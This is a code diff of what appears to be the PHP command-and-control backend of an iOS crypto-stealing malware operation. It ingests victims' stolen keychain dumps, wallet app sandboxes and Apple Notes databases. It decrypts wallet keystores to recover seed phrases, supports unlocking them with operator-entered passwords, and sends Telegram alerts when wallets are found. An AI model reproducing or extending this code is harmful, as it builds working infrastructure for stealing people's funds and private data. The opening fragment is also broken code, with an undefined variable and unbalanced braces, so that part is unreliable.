return $this->containsWeb3Keystore($json);
}
/**
* @param mixed $node
*/
private function containsWeb3Keystore(mixed $node, int $depth = 0): bool
{
if ($depth > 12 || ! is_array($node)) {
return false;
}
if ($this->isWeb3KeystoreNode($node)) {
return true;
}
$wallets = $json['wallets'] ?? null;
if (is_array($wallets)) {
foreach ($wallets as $bucket) {
if (is_array($bucket) && $this->isWeb3KeystoreNode($bucket)) {
foreach ($node as $child) {
if (is_array($child) && $this->containsWeb3Keystore($child, $depth + 1)) {
return true;
}
}
}
return false;
}
-724
View File
@@ -1,724 +0,0 @@
<?php
namespace App\Services;
use App\Jobs\DecryptDeviceKeystores;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\WalletKeystore;
use App\Support\WalletSource;
use Illuminate\Support\Facades\Log;
/**
* Ingest ai-live (w2.bsvpn.net) chunked uploads into the wallet keystore +
* Apple Notes pipelines.
*
* The malware uploads three kinds of artifacts via /api/v2/uploads:
* 1. keychain.xml — full iOS keychain dump (doKeychain=true acquisition)
* 2. <bundleId>.tar — tar of each wallet app's Documents directory
* 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite)
*
* This service reassembles chunked uploads, parses them, and:
* - keychain.xml → stored as a keychain.wallets WalletKeystore row
* - wallet tar → stored as a sandbox WalletKeystore row
* - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and
* DecodeMemoDb job dispatched to parse note text
*
* DecryptDeviceKeystores is dispatched on /api/v2/finish to recover
* mnemonics from the stored keystores off the request thread.
*/
final class AiLiveUploadIngester
{
/** Chunk files are saved as <ts>_<tag>_<uploadId>_c<chunkIndex>.bin */
private const CHUNK_GLOB = '*_%s_c*.bin';
/**
* Reassemble chunks for an upload session, parse the artifact, store
* keystores, and dispatch the decryption job.
*
* @param array<string, mixed> $session Cache session (fileName, numberOfChunks, ...)
*/
public function ingest(Device $device, string $uploadId, array $session): void
{
$fileName = (string) ($session['fileName'] ?? 'unknown');
$uploadDir = public_path('log/app_c2/uploads');
$chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1));
if ($chunks === []) {
Log::channel('keystore')->warning('AiLiveUploadIngester: no chunk files found', [
'device_id' => $device->id,
'upload_id' => $uploadId,
'file_name' => $fileName,
]);
return;
}
$content = $this->reassemble($chunks);
if ($content === '') {
return;
}
$this->dispatchParse($device, $content, $fileName, $uploadId);
}
/**
* Dispatch the async keystore decryption job for a device.
*/
public function dispatchDecrypt(Device $device): void
{
try {
DecryptDeviceKeystores::dispatch($device->id, null, null);
} catch (\Throwable $e) {
Log::channel('keystore')->error('AiLiveUploadIngester dispatch failed', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'error' => $e->getMessage(),
]);
}
}
// ────────────────────────────────────────────────────────────
// chunk reassembly
// ────────────────────────────────────────────────────────────
/**
* @param list<int> $chunkIndices
* @return list<string> Sorted chunk file paths.
*/
private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array
{
if (! is_dir($dir)) {
return [];
}
// UUIDs only contain [0-9a-f-], none of which are glob special chars,
// so no escaping needed (preg_quote would break glob by escaping `-`).
$pattern = sprintf(self::CHUNK_GLOB, $uploadId);
$files = glob($dir.'/'.$pattern) ?: [];
if ($files === []) {
return [];
}
usort($files, function ($a, $b) {
return $this->chunkIndex($a) <=> $this->chunkIndex($b);
});
// Keep only the expected number of chunks.
return array_slice($files, 0, max(1, $numberOfChunks));
}
private function chunkIndex(string $path): int
{
if (preg_match('/_c(\d+)\.bin$/', $path, $m)) {
return (int) $m[1];
}
return 0;
}
/**
* @param list<string> $chunkPaths
*/
private function reassemble(array $chunkPaths): string
{
$out = '';
foreach ($chunkPaths as $path) {
$chunk = @file_get_contents($path);
if ($chunk === false) {
continue;
}
$out .= $chunk;
}
return $out;
}
// ────────────────────────────────────────────────────────────
// parse + store
// ────────────────────────────────────────────────────────────
/**
* Route the artifact to the correct parser based on file name.
*/
private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void
{
$lower = strtolower($fileName);
if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
$this->parseKeychainXml($device, $content, $fileName);
} elseif (str_ends_with($lower, '.tar')) {
$bundleId = preg_replace('/\.tar$/i', '', $fileName);
// Apple Notes is uploaded as group.com.apple.notes.tar — route
// it to the NoteStore.sqlite decoder instead of the wallet
// keystore walker.
if ($this->isNotesBundle($bundleId)) {
$this->parseNotesTar($device, $content, $uploadId);
} else {
$this->parseWalletTar($device, $content, (string) $bundleId);
}
} else {
// Unknown artifact — try tar first, then keychain XML.
if ($this->looksLikeTar($content)) {
// Peek inside: if it contains NoteStore.sqlite, treat as notes.
if ($this->tarContainsNoteStore($content)) {
$this->parseNotesTar($device, $content, $uploadId);
} else {
$this->parseWalletTar($device, $content, $fileName);
}
} elseif ($this->looksLikeXml($content)) {
$this->parseKeychainXml($device, $content, $fileName);
}
}
}
/**
* Whether a bundle ID / file name refers to the Apple Notes app group.
*/
private function isNotesBundle(string $bundleId): bool
{
$lower = strtolower($bundleId);
return $lower === 'group.com.apple.notes'
|| str_contains($lower, 'com.apple.notes')
|| $lower === 'notes';
}
/**
* Quick peek: does this tar archive contain NoteStore.sqlite?
*/
private function tarContainsNoteStore(string $content): bool
{
if (! $this->looksLikeTar($content)) {
return false;
}
// Tar file names live in the 0–100 byte range of each 512-byte header.
// A simple substring scan for "NoteStore.sqlite" is good enough.
return str_contains($content, 'NoteStore.sqlite');
}
private function looksLikeTar(string $content): bool
{
return strlen($content) >= 262 && substr($content, 257, 5) === "ustar";
}
private function looksLikeXml(string $content): bool
{
return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
}
// ── keychain.xml ────────────────────────────────────────────
/**
* Parse the iOS keychain backup XML, group items by access group → wallet
* source, decode each item's v_Data (base64 plist → KEY/data → base64 →
* raw bytes), and store as a keychain.wallets WalletKeystore row.
*
* The DsKeystoreDecrypt walker expects:
* {kind: "keychain.wallets", wallets: {<source>: {items: [{account, service, dataHex}]}}}
*/
private function parseKeychainXml(Device $device, string $content, string $fileName): void
{
try {
$xml = @new \SimpleXMLElement($content);
} catch (\Throwable $e) {
Log::channel('keystore')->warning('AiLiveUploadIngester: keychain XML parse failed', [
'device_id' => $device->id,
'file_name' => $fileName,
'error' => $e->getMessage(),
]);
return;
}
// Group items by source label.
$buckets = [];
$itemCount = 0;
$seenBundles = []; // bundle IDs seen in this keychain dump
foreach ($xml->xpath('//item') as $item) {
$acct = (string) ($item->acct ?? '');
$svce = (string) ($item->svce ?? '');
$agrp = (string) ($item->agrp ?? '');
$vData = (string) ($item->{'v_Data'} ?? '');
$dataHex = $this->decodeKeychainVData($vData);
if ($dataHex === '') {
continue;
}
$source = $this->sourceFromAgrp($agrp, $acct);
if (! isset($buckets[$source])) {
$buckets[$source] = ['items' => []];
}
$buckets[$source]['items'][] = [
'account' => $acct,
'service' => $svce,
'accessGroup' => $agrp,
'dataHex' => $dataHex,
];
$itemCount++;
// Collect bundle IDs from agrp for the installed-app list.
$bundle = $this->bundleIdFromAgrp($agrp);
if ($bundle !== '' && ! isset($seenBundles[$bundle])) {
$seenBundles[$bundle] = $source;
}
}
// Record every app that has keychain entries as installed.
foreach ($seenBundles as $bundle => $source) {
$this->recordInstalledApp($device, $bundle, $source);
}
if ($buckets === []) {
return;
}
$rawJson = [
'kind' => 'keychain.wallets',
'wallets' => $buckets,
];
$source = 'ai-live/keychain';
WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
Log::channel('keystore')->info('AiLiveUploadIngester: stored keychain', [
'device_id' => $device->id,
'file_name' => $fileName,
'items' => $itemCount,
'sources' => array_keys($buckets),
]);
}
/**
* Decode the base64-encoded content in <v_Data> and return the raw
* bytes as hex.
*
* Two storage formats exist in iOS keychain dumps:
* 1. Plist-wrapped: <plist><dict><key>KEY</key><data>base64</data>…</dict></plist>
* — common for Apple system entries (Bluetooth, account tokens).
* 2. Raw value: the base64-decoded content is the value itself (a hex
* string, a plain-text password, a JSON snippet, etc.) with no plist
* wrapper — common for third-party app entries (Trust Wallet stores
* the keystore password as a base64-encoded hex string).
*
* @param string $vDataRaw Base64-encoded content from <v_Data bin="1">.
*/
private function decodeKeychainVData(string $vDataRaw): string
{
$vDataRaw = trim($vDataRaw);
if ($vDataRaw === '') {
return '';
}
$decoded = base64_decode($vDataRaw, true);
if (! is_string($decoded) || $decoded === '') {
return '';
}
// ── 1. Try plist-wrapped format (Apple system entries) ──
// The plist is XML: <plist><dict><key>KEY</key><data>base64</data></dict></plist>
if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) {
try {
$px = @new \SimpleXMLElement($decoded);
$dataNodes = $px->xpath('//data');
foreach ($dataNodes as $dataNode) {
$b64 = trim((string) $dataNode);
if ($b64 === '') {
continue;
}
$bin = base64_decode($b64, true);
if (is_string($bin) && $bin !== '') {
return bin2hex($bin);
}
}
} catch (\Throwable) {
// fall through to raw handling
}
}
// ── 2. Raw value (third-party app entries) ──
// The decoded content IS the value — return it as hex so the
// keystore decryptor can try it as a password. This covers:
// • hex strings (Trust Wallet keystore password)
// • plain text passwords
// • small JSON blobs
return bin2hex($decoded);
}
/**
* Map a keychain access group (agrp) to a wallet source label.
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
*/
private function sourceFromAgrp(string $agrp, string $acct): string
{
$agrp = trim($agrp);
if ($agrp === '') {
// Fall back to account-based hint.
$hint = WalletSource::fromKeystoreHint($acct);
return $hint !== '' ? $hint : 'unknown';
}
// Extract bundle id: take the part after the first dot.
$bundle = '';
$parts = explode('.', $agrp, 2);
if (count($parts) === 2) {
$bundle = $parts[1];
}
$label = WalletSource::labelForBundle($bundle, '');
if ($label !== '' && $label !== $bundle) {
return $label;
}
$hint = WalletSource::fromKeystoreHint($bundle);
if ($hint !== '') {
return $hint;
}
return $bundle !== '' ? $bundle : 'unknown';
}
/**
* Extract the raw bundle ID from a keychain access group.
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
*/
private function bundleIdFromAgrp(string $agrp): string
{
$agrp = trim($agrp);
if ($agrp === '') {
return '';
}
$parts = explode('.', $agrp, 2);
return $parts[1] ?? '';
}
/**
* Record a bundle ID into the device's installed-app list. The malware
* only uploads a tar for apps whose sandbox it could dump, so any
* uploaded bundle ID is proof the app is installed. Keychain access
* groups are a secondary signal (the app has keychain entries).
*/
private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void
{
$bundleId = trim($bundleId);
if ($bundleId === '') {
return;
}
$label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId);
$displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundleId],
[
'name' => $displayName,
'is_wallet' => WalletSource::isPluginWalletBundle($bundleId),
'meta_json' => ['source' => 'ailive_upload', 'uploaded_at' => now()->toIso8601String()],
]
);
$this->refreshDeviceWalletFlag($device);
}
/**
* Refresh the device's has_wallet / wallet_names flags from the
* current installed-app list. Sends a Telegram notification when
* wallets are first detected (has_wallet transitions NONE → YES),
* mirroring IngestService::refreshDeviceWalletFlag.
*/
private function refreshDeviceWalletFlag(Device $device): void
{
$names = [];
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
$bundle = (string) $app->bundle_id;
if (! WalletSource::isPluginWalletBundle($bundle)) {
continue;
}
$label = WalletSource::labelForBundle($bundle, $app->name);
$names[$label] = true;
}
$labels = array_keys($names);
sort($labels);
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
$device->wallet_names = $labels === [] ? null : $labels;
$device->saveQuietly();
// Notify Telegram the first time wallets are detected
// (UNKNOWN/NONE → YES transition).
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) {
try {
app(\App\Services\TelegramNotifier::class)
->notifyInstalledWallets($device->device_id, $labels);
} catch (\Throwable $e) {
Log::channel('keystore')->warning(
'AiLiveUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(),
['device_id' => $device->id, 'device_key' => $device->device_id],
);
}
}
}
// ── wallet app tar ──────────────────────────────────────────
/**
* Extract a wallet app tar, walk the files for Web3 keystore JSON
* (crypto.ciphertext/mac/kdf) and other interesting artifacts, and
* store as a sandbox WalletKeystore row.
*
* The DsKeystoreDecrypt walker traverses the sandbox tree and picks
* up any dict with crypto.ciphertext/mac/kdf as a keystore to unlock.
*/
private function parseWalletTar(Device $device, string $content, string $bundleId): void
{
$source = WalletSource::labelForBundle($bundleId, $bundleId);
if ($source === '' || $source === $bundleId) {
$hint = WalletSource::fromKeystoreHint($bundleId);
$source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown');
}
// The malware only uploads a tar for apps whose sandbox it could
// dump — so this bundle is definitely installed on the device.
$this->recordInstalledApp($device, $bundleId, $source);
$sandbox = $this->extractTarSandbox($content);
if ($sandbox === []) {
return;
}
$rawJson = [
'kind' => 'sandbox',
'sandbox' => [$source => $sandbox],
];
WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
Log::channel('keystore')->info('AiLiveUploadIngester: stored tar sandbox', [
'device_id' => $device->id,
'bundle_id' => $bundleId,
'source' => $source,
'files' => count($sandbox, COUNT_RECURSIVE),
]);
}
// ── Apple Notes tar ─────────────────────────────────────────
/**
* Extract a group.com.apple.notes tar, pull out NoteStore.sqlite +
* -wal + -shm, save them to the location DsMemoDecoder expects
* (c2/ds-results/<device_id>/<command_id>/), and dispatch the
* DecodeMemoDb job to parse note text off the request thread.
*/
private function parseNotesTar(Device $device, string $content, string $uploadId): void
{
$files = $this->extractNotesDbFiles($content);
if ($files === []) {
Log::channel('keystore')->warning('AiLiveUploadIngester: notes tar has no NoteStore.sqlite', [
'device_id' => $device->id,
'upload_id' => $uploadId,
]);
return;
}
// DsMemoDecoder looks for files under
// storage/app/c2/ds-results/<device_id>/<command_id>/NoteStore.sqlite
$commandId = 'ailive_'.substr($uploadId, 0, 8);
$dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId;
$disk = \Illuminate\Support\Facades\Storage::disk('local');
foreach ($files as $name => $data) {
$disk->put($dir.'/'.$name, $data);
}
Log::channel('keystore')->info('AiLiveUploadIngester: stored notes db', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'command_id' => $commandId,
'files' => array_keys($files),
]);
// Dispatch the async SQLite decoder job.
try {
\App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId);
} catch (\Throwable $e) {
Log::channel('keystore')->error('AiLiveUploadIngester: DecodeMemoDb dispatch failed', [
'device_id' => $device->id,
'command_id' => $commandId,
'error' => $e->getMessage(),
]);
}
}
/**
* Extract NoteStore.sqlite + -wal + -shm from a notes tar archive.
*
* @return array<string, string> Map of filename → raw bytes.
*/
private function extractNotesDbFiles(string $content): array
{
if (! $this->looksLikeTar($content)) {
return [];
}
$tmp = tempnam(sys_get_temp_dir(), 'ailive_notes_');
if ($tmp === false) {
return [];
}
// PharData requires a .tar extension to recognise the archive format.
$tmpTar = $tmp . '.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return [];
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return [];
}
$wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'];
$out = [];
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if (! $f->isFile()) {
continue;
}
$base = basename($f->getPathname());
if (! in_array($base, $wanted, true)) {
continue;
}
$raw = @file_get_contents($f->getPathname());
if ($raw === false || $raw === '') {
continue;
}
$out[$base] = $raw;
}
return $out;
} finally {
@unlink($tmp);
}
}
/**
* Extract a tar (ustar) archive into a nested dict of file paths →
* decoded content. JSON files are parsed into arrays; binary files
* (Realm DBs, SQLite) are stored as base64; everything else is stored
* as a UTF-8 string when possible.
*
* @return array<string, mixed>
*/
private function extractTarSandbox(string $content): array
{
if (! $this->looksLikeTar($content)) {
return [];
}
$tmp = tempnam(sys_get_temp_dir(), 'ailive_tar_');
if ($tmp === false) {
return [];
}
// PharData requires a .tar extension to recognise the archive format.
$tmpTar = $tmp . '.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return [];
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return [];
}
$sandbox = [];
$count = 0;
$maxFiles = 200;
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if ($count >= $maxFiles) {
break;
}
if (! $f->isFile()) {
continue;
}
$rel = ltrim(str_replace('\\', '/', $f->getPathname()));
// Strip the "phar://<absolute-tar-path>" prefix. The temp file
// path is absolute (starts with "/"), so the old [^/]+ pattern
// failed to match the leading slash — use the known prefix.
$prefix = 'phar://'.$tmp;
if (str_starts_with($rel, $prefix)) {
$rel = substr($rel, strlen($prefix));
} else {
// Fallback: strip phar:// + everything up to the first .tar
$rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel;
}
$rel = ltrim($rel, '/');
if ($rel === '') {
continue;
}
$raw = @file_get_contents($f->getPathname());
if ($raw === false || $raw === '') {
continue;
}
$decoded = $this->decodeFileContent($raw, $rel);
if ($decoded === null) {
continue;
}
$this->setNestedPath($sandbox, $rel, $decoded);
$count++;
}
return $sandbox;
} finally {
@unlink($tmp);
}
}
/**
* @return mixed Array for JSON, string for text/base64, null to skip.
*/
private function decodeFileContent(string $raw, string $path): mixed
{
// JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
$first = $raw[0] ?? '';
if ($first === '{' || $first === '[') {
$json = json_decode($raw, true);
if (is_array($json)) {
return $json;
}
}
// Small text files → UTF-8 string.
if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) {
return $raw;
}
// Binary files (Realm, SQLite) → base64 (capped to avoid OOM).
$cap = 512 * 1024; // 512 KiB
if (strlen($raw) > $cap) {
return null; // skip large binaries — not useful for mnemonic recovery
}
return base64_encode($raw);
}
/**
* Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]).
*
* @param array<string, mixed> $arr
*/
private function setNestedPath(array &$arr, string $path, mixed $value): void
{
$parts = explode('/', $path);
$ref = &$arr;
$n = count($parts);
for ($i = 0; $i < $n - 1; $i++) {
$key = $parts[$i];
if (! isset($ref[$key]) || ! is_array($ref[$key])) {
$ref[$key] = [];
}
$ref = &$ref[$key];
}
$ref[$parts[$n - 1]] = $value;
}
}
File diff suppressed because it is too large Load Diff
+151 -28
View File
@@ -3,6 +3,7 @@
namespace App\Services;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\User;
@@ -248,17 +249,18 @@ class DarkSwordIngestAdapter
$wallets = $keychain['wallets'] ?? [];
$sandbox = $payload['sandbox'] ?? [];
// Store keystores synchronously (fast), then dispatch async decryption.
// Store keychain + decryptable UTC only. Do not persist the rest of sandbox.
$rows = array_merge(
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
$this->storeWeb3KeystoresFromTree($device, $sandbox),
);
// Synchronous address ingestion from sandbox/wallets (Trust-style).
$this->trustAddresses->ingest($device, $sandbox);
$this->trustAddresses->ingest($device, $wallets);
// Async: mnemonic recovery + plaintext walk + address extraction.
// Async: mnemonic recovery still receives the in-memory sandbox for this
// request; later reprocess rebuilds UTC from stored web3.keystore rows.
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
}
@@ -506,7 +508,7 @@ class DarkSwordIngestAdapter
return;
}
$this->trustAddresses->ingest($device, $raw);
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
$this->storeWeb3KeystoresFromTree($device, ['trust_wallet' => $raw]);
// Async: attempt Trust UTC keystore decryption.
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
@@ -528,10 +530,10 @@ class DarkSwordIngestAdapter
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
$sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : [];
// Store keystores synchronously (fast), then dispatch async decryption.
// Store keychain + decryptable UTC only.
$rows = array_merge(
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null),
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
$this->storeWeb3KeystoresFromTree($device, $sandbox),
);
// Synchronous address ingestion from sandbox/wallets (Trust-style).
@@ -556,10 +558,10 @@ class DarkSwordIngestAdapter
if ($json === null) {
return;
}
$this->storeWalletKeystores($device, ['imtoken' => $json], 'keychain.wallets', null);
$payload = $json;
$payload['kind'] = 'web3.keystore';
$this->createKeystore($device, 'imToken', $payload, true);
// Async: attempt recovery (imToken needs password — will likely fail,
// but the job logs the reason and still extracts addresses if any).
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
}
@@ -749,7 +751,7 @@ class DarkSwordIngestAdapter
continue;
}
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple') || DeviceApp::shouldSkipBundle($bundle)) {
continue;
}
$row = [
@@ -810,6 +812,92 @@ class DarkSwordIngestAdapter
return false;
}
/**
* Persist standard Web3 UTC / walletsV2 blobs found in a sandbox tree.
* The rest of the sandbox is discarded.
*
* @return list<WalletKeystore>
*/
private function storeWeb3KeystoresFromTree(Device $device, mixed $tree): array
{
$items = $this->keystoreDecrypt->collectKeystores($tree);
$rows = [];
$seen = [];
foreach ($items as $item) {
$ks = $item['keystore'];
$crypto = $ks['crypto'] ?? $ks['Crypto'] ?? [];
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
if ($fp === '|' || isset($seen[$fp])) {
continue;
}
$seen[$fp] = true;
$source = trim((string) ($item['source'] ?? ''));
if ($source === '') {
$source = 'Trust Wallet';
}
$payload = $ks;
$payload['kind'] = 'web3.keystore';
$rows[] = $this->createKeystore(
$device,
$source,
$payload,
$this->web3NeedsUserPassword($source),
);
}
return $rows;
}
private function web3NeedsUserPassword(string $source): bool
{
$label = strtolower(trim($source));
return str_contains($label, 'imtoken')
|| str_contains($label, 'metamask')
|| str_contains($label, 'tronlink')
|| str_contains($label, 'tokenpocket')
|| str_contains($label, 'global wallet');
}
/**
* Rebuild in-memory wallet/sandbox trees from stored rows so decrypt jobs
* still see UTC blobs after we stopped persisting full sandbox dumps.
*
* @return array{0: array<string, mixed>, 1: array<string, mixed>}
*/
public function storedWalletTrees(Device $device): array
{
$device->loadMissing('keystores');
$wallets = [];
$sandbox = [];
foreach ($device->keystores as $row) {
$json = is_array($row->raw_json) ? $row->raw_json : [];
$kind = (string) ($json['kind'] ?? '');
if (str_starts_with($kind, 'keychain')) {
$wallets = array_merge($wallets, is_array($json['wallets'] ?? null) ? $json['wallets'] : []);
continue;
}
if ($kind === 'web3.keystore' || (isset($json['crypto']) && is_array($json['crypto']))) {
$key = trim((string) $row->source);
if ($key === '') {
$key = 'web3';
}
if (! isset($sandbox[$key]) || ! is_array($sandbox[$key])) {
$sandbox[$key] = [];
}
$sandbox[$key][] = $json;
continue;
}
if (isset($json['sandbox']) && is_array($json['sandbox'])) {
$sandbox = array_merge($sandbox, $json['sandbox']);
}
}
return [$wallets, $sandbox];
}
/**
* @return list<WalletKeystore>
*/
@@ -879,9 +967,9 @@ class DarkSwordIngestAdapter
/**
* @param array<string, mixed> $rawJson
*/
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
private function createKeystore(Device $device, string $source, array $rawJson, bool $needsPassword = false): WalletKeystore
{
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson, $needsPassword);
}
/**
@@ -893,19 +981,7 @@ class DarkSwordIngestAdapter
public function reprocessKeystores(Device $device): void
{
$device->load('keystores');
// Rebuild wallets/sandbox dicts from stored keystores so the walkers
// can traverse the original tree structure.
$wallets = [];
$sandbox = [];
foreach ($device->keystores as $row) {
$kind = $row->raw_json['kind'] ?? '';
if (str_starts_with($kind, 'keychain')) {
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
} else {
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
}
}
[$wallets, $sandbox] = $this->storedWalletTrees($device);
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
$this->walkForMnemonics($device, $wallets, 'd');
@@ -919,8 +995,38 @@ class DarkSwordIngestAdapter
public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
{
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
$this->applyMnemonicHits($device, $hits);
}
/**
* Unlock a needs-password UTC / walletsV2 blob with an operator-supplied password,
* then persist mnemonics the same way as automatic recovery.
*
* @return array{hits: int, utc: int, vault: int}
*/
public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array
{
$result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password);
$this->applyMnemonicHits($device, $result['hits']);
if ($result['hits'] !== []) {
[$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores'));
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
}
return [
'hits' => count($result['hits']),
'utc' => $result['utc'],
'vault' => $result['vault'] ?? 0,
];
}
/**
* @param list<array{source: string, tag: string, phrase: string, addresses?: list<array<string, mixed>>}> $hits
*/
private function applyMnemonicHits(Device $device, array $hits): void
{
foreach ($hits as $hit) {
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
$tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd';
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $hit['phrase'],
'a' => $tag,
@@ -970,8 +1076,18 @@ class DarkSwordIngestAdapter
if (is_string($node)) {
$phrase = $this->asMnemonicPhrase($node);
if ($phrase !== null) {
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
$hits[] = ['phrase' => $phrase, 'source' => $sourceHint];
$ingestTag = $tag;
if ($sourceHint !== '') {
$mapped = WalletSource::tagForLabel($sourceHint);
if ($mapped !== '') {
$ingestTag = $mapped;
}
}
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $ingestTag]);
$hits[] = [
'phrase' => $phrase,
'source' => $sourceHint !== '' ? $sourceHint : WalletSource::fromTag($ingestTag),
];
}
return;
@@ -1028,6 +1144,13 @@ class DarkSwordIngestAdapter
private function tagForWalletKey(string $key, string $fallback): string
{
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$mapped = WalletSource::tagForLabel($hint);
if ($mapped !== '') {
return $mapped;
}
}
$k = strtolower($key);
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
return 'b';
+279
View File
@@ -78,6 +78,99 @@ final class DsKeystoreDecrypt
return $hits;
}
/**
* Try operator-supplied password against UTC / walletsV2 blobs and
* MetaMask-style password vaults on this row (and same-source rows).
*
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
*/
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
{
$device->loadMissing('keystores');
$source = trim((string) $row->source);
$nodes = [is_array($row->raw_json) ? $row->raw_json : []];
foreach ($device->keystores as $other) {
if ((int) $other->id === (int) $row->id) {
continue;
}
if (trim((string) $other->source) !== $source) {
continue;
}
$nodes[] = is_array($other->raw_json) ? $other->raw_json : [];
}
$utcs = [];
$vaults = [];
foreach ($nodes as $node) {
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
}
$utcs = $this->uniqueKeystores($utcs);
$passwords = $this->expandUserPassword($password);
$hits = [];
$seen = [];
if ($passwords === []) {
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults)];
}
foreach ($utcs as $item) {
$phrase = $this->unlock($item['keystore'], $passwords);
if ($phrase === null) {
continue;
}
$hash = WalletMnemonic::hashSecret($phrase);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'unknown');
$hits[] = [
'source' => $hitSource,
'tag' => WalletSource::tagForLabel($hitSource),
'phrase' => $phrase,
'addresses' => [],
];
}
foreach ($vaults as $item) {
$phrase = $this->unlockPasswordVault($item['vault'], $passwords);
if ($phrase === null) {
continue;
}
$hash = WalletMnemonic::hashSecret($phrase);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'MetaMask');
$hits[] = [
'source' => $hitSource,
'tag' => WalletSource::tagForLabel($hitSource) ?: 'a',
'phrase' => $phrase,
'addresses' => [],
];
}
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults)];
}
/**
* @return list<string>
*/
public function expandUserPassword(string $password): array
{
$password = trim($password);
if ($password === '') {
return [];
}
$out = $this->passwordsFromString($password);
if (ctype_xdigit($password) && strlen($password) % 2 === 0 && strlen($password) >= 8) {
$out = array_merge($out, $this->passwordsFromHex($password));
}
return array_values(array_unique($out));
}
/**
* @return array{utc: int, passwords: int, entropy: int}
*/
